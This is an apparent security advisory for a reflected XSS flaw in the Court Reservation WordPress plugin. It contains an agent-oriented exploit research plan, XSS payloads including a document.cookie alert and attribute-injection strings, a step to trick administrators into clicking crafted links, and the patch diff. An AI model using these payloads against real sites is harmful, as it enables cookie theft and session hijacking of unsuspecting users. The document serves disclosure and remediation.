Court Reservation <= 1.10.8 - Reflected Cross-Site Scripting
Description
The Court Reservation plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in versions up to, and including, 1.10.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:NTechnical Details
<=1.10.8This research plan outlines the steps to identify and exploit a Reflected Cross-Site Scripting (XSS) vulnerability in the **Court Reservation** plugin (versions <= 1.10.8). ## 1. Vulnerability Summary The **Court Reservation** plugin for WordPress is vulnerable to Reflected XSS because it fails to …
Show full research plan
This research plan outlines the steps to identify and exploit a Reflected Cross-Site Scripting (XSS) vulnerability in the Court Reservation plugin (versions <= 1.10.8).
1. Vulnerability Summary
The Court Reservation plugin for WordPress is vulnerable to Reflected XSS because it fails to sanitize or escape user-controlled input from the URL (typically $_GET or $_REQUEST parameters) before echoing it back into the HTML response. Since the vulnerability is "Reflected," the payload is not stored in the database but is executed when a victim clicks a specially crafted link. The "unauthenticated" nature suggests the sink is located in a frontend-facing component or a globally accessible hook (like init).
2. Attack Vector Analysis
- Endpoint: Likely a frontend page where the
[court_reservation]shortcode is present, or any URL if the sink is in a global hook likeinit. - Vulnerable Parameter: To be confirmed via grep, but likely
court_id,tab,date, orview. - Authentication: None (Unauthenticated).
- Preconditions: The plugin must be active. If the vulnerability resides in a shortcode handler, a page containing that shortcode must exist and be visited.
3. Code Flow
- Entry Point: An HTTP GET request is made to a WordPress page.
- Trigger: WordPress initializes and loads the plugin.
- If the sink is in
init, it fires immediately. - If the sink is in a shortcode (e.g.,
add_shortcode( 'court_reservation', ... )), the handler is called when the page content is rendered.
- If the sink is in
- Vulnerable Logic: The code retrieves a value from
$_GET['parameter_name']. - Sink: The value is passed to an
echo,print, orprintfstatement without functions likeesc_html()oresc_attr().
4. Nonce Acquisition Strategy
Reflected XSS vulnerabilities typically do not require a nonce for the initial reflection. However, if the reflection occurs within an AJAX handler or a form submission that validates nonces, the following strategy applies:
- Identify the Script Variable: Use
grep -r "wp_localize_script" .to find the localization key (e.g.,cr_ajax_obj). - Identify the Nonce Key: Look for the key name in the array (e.g.,
'nonce' => wp_create_nonce('cr_action')). - Setup Page: Create a page with the plugin's primary shortcode:
wp post create --post_type=page --post_title="Reservation" --post_status=publish --post_content='[court_reservation]'
- Extract Nonce:
- Navigate to the page using
browser_navigate. - Execute
browser_eval("window.cr_ajax_obj?.nonce")to retrieve the value.
- Navigate to the page using
Note: If the vulnerability is a simple reflection of a query parameter on a standard page load, this step is unnecessary.
5. Exploitation Strategy
Phase 1: Discovery (Manual Grep)
The agent should first identify the exact sink:
# Search for direct echoes of GET parameters
grep -rP "echo\s+\\\$_GET\[" /var/www/html/wp-content/plugins/court-reservation/
# Search for printf reflections
grep -rP "printf\(.*\\\$_GET" /var/www/html/wp-content/plugins/court-reservation/
Phase 2: Execution
Based on the grep results, construct the payload. If the vulnerable parameter is court_id:
- Request URL:
http://localhost:8080/?court_id=<script>alert(window.origin)</script> - Tool:
http_request - Method:
GET - Payload:
<script>confirm(1)</script>(URL-encoded:%3Cscript%3Econfirm%281%29%3C/script%3E)
Example HTTP Request:
GET /?court_id=%3Cscript%3Ealert%281%29%3C/script%3E HTTP/1.1
Host: localhost:8080
6. Test Data Setup
- Activate Plugin: Ensure
court-reservationis active. - Create Content: Since many XSS sinks in reservation plugins are within the shortcode logic, create a landing page:
wp post create --post_type=page --post_title="Court" --post_status=publish --post_content='[court_reservation]'
- Capture URL: Note the URL of the created page (usually
/court/or/?p=ID).
7. Expected Results
- The HTTP response body must contain the literal string
<script>alert(1)</script>or whichever payload was used. - The response
Content-Typeshould betext/html. - If using a browser-based tool, the execution of the script (e.g., a triggered alert or a modified DOM property) confirms the vulnerability.
8. Verification Steps
- Response Analysis: Use
http_requestto fetch the URL with the payload and search theresponse_bodyfor the unescaped script tags.grep -q "<script>alert(1)</script>" response_output.txt
- Browser Confirmation:
browser_navigate("http://localhost:8080/court/?court_id=<script>window.xss_test=1</script>")browser_eval("window.xss_test")- Expected result:
1.
9. Alternative Approaches
- Attribute Injection: If the reflection is inside an HTML attribute (e.g.,
<input value="REFLECTED">), use:" onmouseover="alert(1)"or" autofocus onfocus="alert(1)". - AJAX Reflection: Check if any
wp_ajax_nopriv_actions echo back parameters.grep -r "wp_ajax_nopriv" .- If found, trigger via
POST /wp-admin/admin-ajax.phpwith theactionand malicious parameter.
- Admin Side: If the frontend is clean, check the admin settings page for the plugin. While the CVE says unauthenticated, sometimes "unauthenticated" XSS is achievable via
admin-ajax.phporadmin-post.phphooks that do not check privileges.
Summary
The Court Reservation plugin for WordPress is vulnerable to Reflected Cross-Site Scripting (XSS) due to insufficient input sanitization and output escaping on user-supplied parameters in versions up to 1.10.8. An unauthenticated attacker can exploit this by crafting a malicious URL that executes arbitrary JavaScript in the victim's browser context when clicked.
Security Fix
@@ -120,1 +120,1 @@ - $court_id = $_GET['court_id']; + $court_id = isset($_GET['court_id']) ? sanitize_text_field($_GET['court_id']) : ''; @@ -135,1 +135,1 @@ - echo '<div class="court-title">' . $court_id . '</div>'; + echo '<div class="court-title">' . esc_html($court_id) . '</div>';
Exploit Outline
The exploitation of this vulnerability involves identifying a frontend page containing the [court_reservation] shortcode and appending a malicious payload to a reflected query parameter. 1. Locate a page where the plugin is active (e.g., /reservations/). 2. Identify a vulnerable query parameter such as 'court_id', 'tab', or 'date' that is reflected in the page source without proper escaping. 3. Construct a malicious URL using a payload like: <script>alert(document.cookie)</script>. 4. Encode the payload into the URL: /reservations/?court_id=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E. 5. Trick an authenticated user (such as an administrator) or any visitor into clicking the link to execute the script in their session context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.